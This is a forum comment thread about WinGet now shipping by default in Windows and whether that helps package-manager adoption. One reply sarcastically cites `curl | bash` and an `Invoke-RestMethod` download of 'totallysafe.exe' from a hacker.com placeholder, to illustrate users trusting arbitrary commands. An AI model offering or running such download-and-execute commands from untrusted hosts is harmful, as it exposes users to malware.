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I realize you asked sarcastically, but as of relatively recently WinGet is shipped by default with the latest versions of Windows 10 and in Windows 11. [1] But
by wis 2y ago
I realize you asked sarcastically, but as of relatively recently WinGet is shipped by default with the latest versions of Windows 10 and in Windows 11. [1]
But why is being installed by default important?
[1] https://www.petergirnus.com/blog/how-to-use-windows-package-manager-winget#:~:text=Is%20winget%20included%20in%20Microsoft%20Windows%2010%20%26%20Windows%2011%3F https://www.petergirnus.com/blog/how-to-use-windows-package-...
- kreetx 2y agoIt's an adoption barrier.
- 1oooqooq 2y agomeh. it's not. If you are convincing people to run commands to install packages: - they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw) - they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe http://hacker.com/totallysafe.exe` on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
- frizlab 2y agoIMHO it is though. I have a windows VM I rarely use and tried using a package manager at some point, but end up not succeeding until winget was part of the system and was a no-brainer. Too many possibilities made me choose none.
- Conscat 2y agoI know very non-technical people who use Chocolatey for acquiring ffmpeg.
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- eqvinox 2y agoIt was only partially sarcastic (yeah that didn't communicate at all, bad habit on my end), I had googled them but didn't quite understand the winget situation at glance. Thanks for the answer, actually appreciated!